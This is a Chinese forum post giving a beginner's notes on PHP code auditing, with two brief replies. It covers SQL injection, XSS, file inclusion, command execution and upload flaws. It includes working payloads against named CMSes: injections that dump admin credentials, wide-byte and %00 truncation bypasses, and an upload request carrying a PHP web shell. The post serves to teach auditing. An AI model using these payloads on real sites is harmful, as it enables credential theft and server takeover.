資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會員
查看: 3126|回復(fù): 2
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測試] php代碼審計(jì)基礎(chǔ)

[復(fù)制鏈接]

45

主題

238

帖子

0

精華

終身高級VIP會員

Dark Windy

Rank: 7Rank: 7Rank: 7

資源幣
340
積分
373
貢獻(xiàn)
0
在線時(shí)間
74 小時(shí)
注冊時(shí)間
2015-8-14
最后登錄
2024-6-3

終身VIP會員

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2015-8-16 20:56:33 | 只看該作者 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
0x01 前言
這陣子在學(xué)php代碼審計(jì),算是一個(gè)筆記。留著以后看。
php代碼審計(jì)需要比較強(qiáng)的代碼能力以及足夠的耐心.....
至于如何學(xué)好php代碼審計(jì)?去膜拜p神吧....
http://wooyun.org/whitehats/phith0n
http://www.leavesongs.com/
看著p神的文章,學(xué)審計(jì)......  許多東西都是復(fù)制p神~

文章寫給像我一樣剛剛開始審計(jì)的小菜鳥~,有錯(cuò)歡迎指出~
求勿噴...........繼續(xù)學(xué)審計(jì)中........
+++++++++++++++++++++++++++++++++++++++++++++
0x02 審計(jì)前奏
一)關(guān)注變量+函數(shù)
1.可以控制的變量【一切輸入都是有害的 】
2.變量到達(dá)有利用價(jià)值的函數(shù)[危險(xiǎn)函數(shù)] 【一切進(jìn)入函數(shù)的變量是有害的】
                                                                    ------來源t00ls
客戶端提交變量:
$_GET:http://localhost/mm.php?a=xxxxx
$_POST:
$_COOKIE:
    記錄在我們本地瀏覽器中的變量,是可控的。PHP中還有一個(gè)變量$_SESSION。
    每個(gè)人訪問網(wǎng)站,他的phpsessid都是不一樣的,這個(gè)值就用來區(qū)分每個(gè)用戶。服務(wù)器用PHPSESSID=cmebf7jkflu5a31vf67kbiopk4來標(biāo)示每個(gè)用戶,是否登錄或者是否是管理員。
$_FILES:
    可能產(chǎn)生的漏洞類型:
    01.上傳漏洞,上傳一個(gè)php木馬,相當(dāng)于直接getshell了
    02.注入,有些cms會把name的值保存在數(shù)據(jù)庫里,但又沒有對name進(jìn)行過濾。
$_SERVER:其中部分我們可以控制。
    X-FORWARDED-FOR:IP地址,很多cms取ip是首先取這個(gè)變量中的值,如果
    沒有這個(gè)變量,才去取我們的真實(shí)Ip.
    Referer:來源地址,我們訪問目標(biāo)頁面的來源
    Host:目標(biāo)網(wǎng)址這幾個(gè)變量就是我們php中間用戶可以控制的變量。
    大部分的漏洞都是 從這幾個(gè)變量開始展開的。

$_REQUEST 就是$GET/$_POST/$COOKIE

要是使用了xxx框架的話,如何找到這些變量呢?
Mvc框架比較流行了
所以我去了解了一下thinkphp的mvc框架[http://blog.wils0n.cn/?id=14]
--------------------------------------------------------------------
二)關(guān)注什么樣的漏洞
1.Sql注入
2.文件操作[上傳/寫入/讀取/刪除]
3.文件包含
4.命令執(zhí)行
5.Xss
6.Cookie欺騙
7.邏輯出錯(cuò)
........等等
每種漏洞有對應(yīng)找漏洞的方法,往往先找getshell的方法[1,2,3,4這三中漏洞是常見的getshell方法我們要多多關(guān)注這個(gè)]而邏輯出錯(cuò)也是很要命的。。。。 - -
所以我們要認(rèn)識清楚漏洞原理,積累cms常出漏洞,積累找這種漏洞的技巧.....
--------------------------------------------------------------------

三)本地搭建環(huán)境測試
1.黑盒加白盒
不得不說黑盒的重要性!
Burp常開對你只要沒有壞處!

2.大體看看文件的目錄

3.cms安裝到本地,大概了解功能,比如有注冊會員功能的cms,我就注冊一個(gè)會員,比如有搜索框,我就會搜索一下,大概查看一下搜索出來的內(nèi)容,[恩 因?yàn)樽址投歼M(jìn)行了轉(zhuǎn)換 @ _@ 所以搜索型的很重要,有哪些數(shù)據(jù)提交點(diǎn)、能否留言等等] 摘自p神

技巧:最好可見在本地測試時(shí)候講你的輸入點(diǎn)打印出來
我會將用戶的輸入數(shù)據(jù)進(jìn)行var_dump,重要的是對最終的sql語句進(jìn)行var_dump,這和給你省去很多力氣!我們只要var_dump($sql)然后再可以去黑盒測試,[比如搜索框,用戶登入,文件上傳名稱等等]。
我審計(jì)了一個(gè)cms就是這樣的,結(jié)果黑盒就發(fā)現(xiàn)登入處有注入,真的去審計(jì)還花了不少力氣去讀源碼,并且學(xué)會了一個(gè)thinkphp的執(zhí)行sql特點(diǎn).
+++++++++++++++++++++++++++++++++++++++++++++++++++++
四)審計(jì)各種不同漏洞技巧
1.Sql注入審計(jì)技巧
sql注入是我們審計(jì)比較重視的漏洞之一

0x01 漏洞原理
所以現(xiàn)在很多cms都對注入進(jìn)行了一定的過濾,一般有兩種過濾方法:
01.對于數(shù)字型的輸入,直接使用intval($_GET[id]),強(qiáng)制轉(zhuǎn)換成整數(shù),這種過濾是毫無辦法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是沒有intval($_GET[id]) 那就呵呵了。//有一個(gè)屌絲cms就是這樣......
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些輸入是字符型的,不可能轉(zhuǎn)換成數(shù)字。這個(gè)使用就使用addslashes對輸入進(jìn)行轉(zhuǎn)義。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#
--------------------------------
0x02 漏洞發(fā)生
要是過濾不是上面這幾中,而是黑名單,或者你欠日什么都沒有過濾的話,那么很多情況下是可以注入的。所以cms隨著漏洞的爆出,慢慢的這樣的情況幾乎都沒有了

那么問題來了,在上面這種情況漏洞怎么出現(xiàn)?[藍(lán)翔.....]
漏洞(一)ip沒過濾直接進(jìn)到sql語句
函數(shù)講解:
getenv : 這個(gè)函數(shù)是獲得環(huán)境變量的函數(shù),也可以用來獲得$_SERVER數(shù)組的信息。
getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
當(dāng)然http頭還有referer 這也是可以偽裝的,要是沒有過濾好也會產(chǎn)生會注入問題

漏洞(二)寬字節(jié)注入 [對字符]
如果發(fā)現(xiàn) cms是GBK 只有看看 能不能寬字節(jié)注入
Sqlmap 的unmagicquotes.py 可以進(jìn)行寬字測試

下面摘自p神寫的:淺析白盒審計(jì)中的字符編碼及SQL注射.pdf
解決寬字節(jié)注入辦法:
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到這里就一般高枕無憂了.....
但是 要是畫蛇添足得使用iconv就可能出現(xiàn)問題了
有些cms:
會加上下面語句避免亂碼
iconv('utf-8', 'gbk', $_GET['word']);
將傳入的word有utf-8轉(zhuǎn)成gbk.....
發(fā)現(xiàn)錦的utf-8 編碼是0xe98ca6,而的gbk 編碼是0xe55c
我們輸入錦' -->%e5%5c%27【%5c就是\】
在經(jīng)過轉(zhuǎn)移------>%e5%5c%5c%27【5c%5c就是\\】這樣我們就有可以開心的注入了....

漏洞(三)sql二次注入
例如:p神的HDWiki二次注入

漏洞(四)文件名注入
因?yàn)?_FILE,$_SERVER不受gpc影響,那么可能造成注入.......
有些cms會把name的值保存在數(shù)據(jù)庫里,但又沒有對name進(jìn)行過濾。
例如:p神的emlog后臺注入(需要作者權(quán)限即可)
還有Thinksaas最新版注入無視GPC
http://wooyun.org/bugs/wooyun-2010-051124
--------------------------------
0x03 注入類型
1.Selcet 注入 這個(gè)常見就不說了
一般就是聯(lián)查,要是報(bào)錯(cuò)開啟也可以報(bào)錯(cuò)注入

2.Update 注入
p神做了一個(gè)教程關(guān)于bluecms這cms漏洞:
Get_ip() 直接用了X-FORWARDED-FOR
$sql = "UPDATE blue_user SET last_login_time = '$last_login_time', last_login_ip = '可控位置' WHERE user_id='$_SESSION[user_id]'";
UPDATE blue_user SET last_login_time = '1394368489', last_login_ip = '8.8.8.8',address=(select concat(admin_name,0x23,email,0x23,pwd) from blue_admin limit 0,1), qq=' ' WHERE user_id='2'
//addrress是前臺可見的,而且長度夠大
//p神說.....
碰到update語句中含有注入的情況,我們怎么處理?
01.跟我剛才一樣,把某個(gè)可以看到的信息給更新成管理員密碼,這樣就獲得了密碼
02.報(bào)錯(cuò)注入,使用某一特定的報(bào)錯(cuò)語句,讓sql語句在執(zhí)行中出錯(cuò),能爆出管理員賬號密碼。但是有個(gè)條件,就是在執(zhí)行sql語句的時(shí)候調(diào)用了mysql_error函數(shù),否則不會顯示報(bào)錯(cuò)信息。比如bluecms就沒有調(diào)用mysql_error,所以不能使用這個(gè)方法。

3.Insert 注入
引用了音符牛的一個(gè)文章
http://bbs.xdsec.org/?/question/310
音符的XD某套系統(tǒng)的代碼審計(jì)第二彈:insert注入
[C] 純文本查看 復(fù)制代碼
?
01
02
03
04
05
06
07
08
09
10
//字符串完全沒過濾,gpc為關(guān)閉
function guest_add()//添加留言
{
global $bqz,$lang;
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
mysql_query($exec)||die(mysqli_error());
echo "<script>alert('".$lang."');window.location.;</script>";
}
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
//沒有過濾就將數(shù)據(jù)放入guest表中,guest表的內(nèi)容前臺可見。

payload:標(biāo)題123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xxx_admin limit 0,1),'1314205172')#
其他的隨便填。
則執(zhí)行:
insert into xdxx_guest (title,name,email,ip,content,times) values ('123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xdxx_admin limit 0,1),'1314205172')#','time()')
因?yàn)榍芭_可以看到的只有name跟content,而name要用來閉合前面的單引號,所以用content字段來保存管理員的賬號密碼。

0x04技巧
技巧:最好可見在本地測試時(shí)候講你的輸入點(diǎn)打印出來
我會將用戶的輸入數(shù)據(jù)進(jìn)行var_dump
重要的是對最終的sql語句進(jìn)行var_dump,這和給你省去很多力氣!我們只要var_dump($sql)然后再可以去黑盒測試,[比如搜索框,用戶登入,文件上傳名稱等等]
so,還是這技巧點(diǎn)
=====================================================
2.xss審計(jì)技巧
Xss最常見就在留言板地方了!
1.先可以黑盒:
我們可以對fuzz,加載你的xss,payload都試試。[可以積累你的xsspayload]
然后去管理后臺看看。有沒有執(zhí)行xss成功
學(xué)習(xí)xss:
http://www.wooyun.org/bugs/wooyun-2010-015957
心傷的瘦子專輯.......

2.看代碼看看如何過濾了,再看看能不能繞過。
這就要靠你的本領(lǐng)了
但是現(xiàn)在可多就都過濾了
用了htmlspecialchars進(jìn)行過濾, = =

一個(gè)tip:
不少cms會對留言者的ip進(jìn)行記錄。
而他們用一個(gè)具有漏洞的函數(shù),
[PHP] 純文本查看 復(fù)制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
/**
     *
獲取客戶端
IP
地址
     */
    public static function getip() {
        $onlineip = '';
        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
            $onlineip = getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
            $onlineip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
            $onlineip = getenv('REMOTE_ADDR');
        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
            $onlineip = $_SERVER['REMOTE_ADDR'];
        }
        return $onlineip;

}


當(dāng)HTTP_X_FORWARDED_FOR存在時(shí)獲取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以偽造的
但是存ip的字段,有是比較小的。我們?nèi)タ纯磒神如何繞過
http://wooyun.org/bugs/wooyun-2010-045687
我只能說,吊死了  = =
請收下我的膝蓋......

3.Xss利用
現(xiàn)在應(yīng)該大多都是x管理員的cookie吧。
再次膜拜一下p神的審計(jì)能力,xss的作用可以getshell的
http://wooyun.org/bugs/wooyun-2010-063052
我們可以利用js來發(fā)送post包,利用管理員權(quán)限去得到getshell

$.ajax({ "url": "網(wǎng)址", "type": "OST","data":"OST的內(nèi)容" })
我也是剛剛知道這個(gè)知識 搞定一個(gè)cms.......
=====================================================
3.文件包含漏洞審計(jì)技巧
文件包含漏洞
看音符大牛的文章
https://www.t00ls.net/thread-26571-1-3.html
1.截?cái)嗉记?br /> %00和230個(gè)/
2.遠(yuǎn)程包含
allow_url_fopen = On并且allow_url_include = On時(shí),則可以包含遠(yuǎn)程文件
3.一個(gè)出問題的cms
Yxcms給音符牛日穿了
https://www.t00ls.net/viewthread ... amp;highlight=yxcms
payload:http://test.com/cms//YXcmsApp1.2.3/index.php?r=..\..\upload\member\image\20140504\thumb_1399213415.jpg%00

=====================================================
4.命令執(zhí)行審計(jì)技巧
沒有什么技巧
0x01 搜索可以執(zhí)行php代碼的函數(shù)
Eval,assert....
0x02 搜索可以執(zhí)行系統(tǒng)命令的函數(shù)
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反單引號</strong>)....

=====================================================
5.文件操作審計(jì)技巧
    5.1 .兩個(gè)小知識,一個(gè)tip
    1.
        $_FILES["file"]["name"] - 被上傳文件的名稱
        $_FILES["file"]["type"] - 被上傳文件的類型
        $_FILES["file"]["size"] - 被上傳文件的大小,以字節(jié)計(jì)
        $_FILES["file"]["tmp_name"] - 存儲在服務(wù)器的文件的臨時(shí)副本的名稱
        $_FILES["file"]["error"] - 由文件上傳導(dǎo)致的錯(cuò)誤代碼
    2.
        文件上傳的過程:
        01.用戶選擇文件,點(diǎn)擊上傳
        02.服務(wù)器接收到文件,然后將文件保存在臨時(shí)目錄內(nèi)
        03.php對文件類型、后綴等內(nèi)容檢查,檢查通過后移動(dòng)到web目錄下

    tip:
    將var_dump($FILE[]);
    然后試試黑盒審計(jì)吧
    注意一點(diǎn) 如果文件名進(jìn)入數(shù)據(jù)庫也有可能造成注入的。
    因?yàn)?_FILE不受gpc影響[之前也提過了]

--------------

  5.2文件上傳漏洞    來自[+]上傳攻擊總結(jié).pdf[這極好的文章]
    1.javascript上傳檢測
    ....直接無視
    用burp改一下就好了
    2.mime上傳文件類型
    例如:BlueCMS(地方分類信息門戶專用CMS系統(tǒng))
    include/upload.class.php發(fā)現(xiàn),只是檢測了文件頭,沒有檢測后綴.

[PHP] 純文本查看 復(fù)制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class upload {
    private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
......
    function img_upload($file, $dir = '', $imgname = ''){
        if(empty($dir)){
            $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
        }else{
            $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
        }

        if(!file_exists($dir)){
            if(!mkdir($dir)){
                showmsg('上傳過程中創(chuàng)建目錄失敗');
            }
        }
        if(empty($imgname)){
            $imgname = $this->create_tempname().$this->get_type($file['name']);
        }
        $imgname = $dir . $imgname;
        if(!in_array($file['type'],$this->allow_image_type)){
             //只是檢測了文件頭部來著,那我們就直接構(gòu)造一個(gè)SHELL就好了
            showmsg('不允許的圖片類型');
        }
}


            Payload:
            然后我們可以將request 包的Content-Type 修改
            POST /upload.php HTTP/1.1
            TE: deflate,gzip;q=0.3
            Connection: TE, close
            Host: localhost
            User-Agent: libwww-perl/5.803
            Content-Type: multipart/form-data; boundary=xYzZY
            Content-Length: 155
            --xYzZY
            Content-Disposition: form-data; name="userfile"; filename="shell.php"
            Content-Type: image/gif (原為Content-Type: text/plain)//$_FILES["file"]["type"]
            <?php system($_GET['command']);?>
            --xYzZY--

     3.服務(wù)器檢測繞過(目錄路徑檢測)
            Filename 可以控制,直接進(jìn)行%00截?cái)嗫纯茨懿荒芨愣?br />
     4.文件名檢測
            下面就是去檢測_FILES["file"]["name"]
            再次注意:如果文件名進(jìn)入數(shù)據(jù)庫也有可能造成注入的。
            1)黑名單上傳
            各種測試 這里我們看代碼就可以了。
            我們可以看看能不能
            1.大小寫繞過
            2.黑名單外的危險(xiǎn)腳本[htaccess 文件攻擊]
            3.解析漏洞結(jié)合
            4.利用windows特性繞過
            雨牛的文章: https://forum.90sec.org/forum.php?mod=viewthread&tid=7806
            phpdisk使用了黑名單
            可以用加空格來繞過
            另外大牛又給出了
            提交.php:data 這樣就不會匹配到黑名單中了。 這種想法,感覺自己有學(xué)習(xí)了....

            2)白名單上傳
            1. 0x00 截?cái)嗬@過
            用像test.asp%00.jpg 的方式進(jìn)行截?cái),屬于白名單文件,再利用服?wù)端代碼的檢測邏輯
            漏洞進(jìn)行攻擊,目前我只遇到過asp 的程序有這種漏洞
            2. 解析調(diào)用/漏洞繞過
            這類漏洞直接配合上傳一個(gè)代碼注入過的白名單文件即可,再利用解析調(diào)用/漏洞

    5.文件上傳邏輯漏洞
            http://www.leavesongs.com/PENETR ... cms-upload-vul.html
            不得不又一次膜拜p神......
            文件上傳,支持zip上傳,但是這個(gè)phpcms沒有對子目錄下的文件,進(jìn)行驗(yàn)證。導(dǎo)致getshell
            而且有了一個(gè)競爭上傳的概念。。。。
            文件是先在服務(wù)器存在了,然后再驗(yàn)證文件名的可靠性。不合法就刪除。那就出現(xiàn)問題了,在存在時(shí)候,我們可以一整去訪問這個(gè)php,而這個(gè)php的功能就是寫馬。這樣就可以成功getshell了。。。。

5.4.文件下載
        求補(bǔ)充
5.3 文件寫入。文件刪除
        求補(bǔ)充

=====================================================
6.邏輯出錯(cuò)審計(jì)技巧

很多程序有邏輯出錯(cuò)的情況.....
1.程序沒有及時(shí)結(jié)束[die]
http://www.wooyun.org/bugs/wooyun-2010-063019
Ducms就是/install/install.php
沒有及時(shí)結(jié)束
給p神 利用一個(gè)外鏈的mysql 繞過限制 加入一個(gè)admin賬戶。。。

http://wooyun.org/bugs/wooyun-2010-045143
還有一個(gè)直接寫入配置文件的StartBBS重安裝getshell也是因?yàn)檫@個(gè)原因
除了安裝可能出現(xiàn)這種情況
Admin目錄下也可能這樣
判定不是admin就跳轉(zhuǎn),但是php代碼是繼續(xù)執(zhí)行沒有及時(shí)結(jié)束的

2.admin登入口檢查有問題
認(rèn)證太奇葩...

3.找回密碼可能出現(xiàn)漏洞
4.驗(yàn)證碼重用,造成爆破
..........

漏洞類型還要很多.....
=====================================================

0x03 小結(jié)
文章寫給像我一樣剛剛開始審計(jì)的小菜鳥~
web漏洞類型很多,我也說不盡。只是知道一些審計(jì)的皮毛,有錯(cuò)求指出....
求勿噴...........
小菜繼續(xù)學(xué)審計(jì)中........


這么努力,就是為了讓看不起我的人閉嘴
回復(fù)

使用道具 舉報(bào)

4

主題

130

帖子

0

精華

終身高級VIP會員

Rank: 7Rank: 7Rank: 7

資源幣
272
積分
155
貢獻(xiàn)
0
在線時(shí)間
37 小時(shí)
注冊時(shí)間
2017-4-10
最后登錄
2024-7-30

終身VIP會員

沙發(fā)
發(fā)表于 2017-12-18 11:38:04 | 只看該作者
樓主雷鋒啊,謝謝分享

0

主題

11

帖子

0

精華

新手上路

Rank: 1

資源幣
2
積分
11
貢獻(xiàn)
0
在線時(shí)間
2 小時(shí)
注冊時(shí)間
2020-10-2
最后登錄
2021-1-18
板凳
發(fā)表于 2020-10-26 19:33:34 | 只看該作者
1
回復(fù)

使用道具 舉報(bào)

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2025-4-18 14:37 , Processed in 0.042979 second(s), 14 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表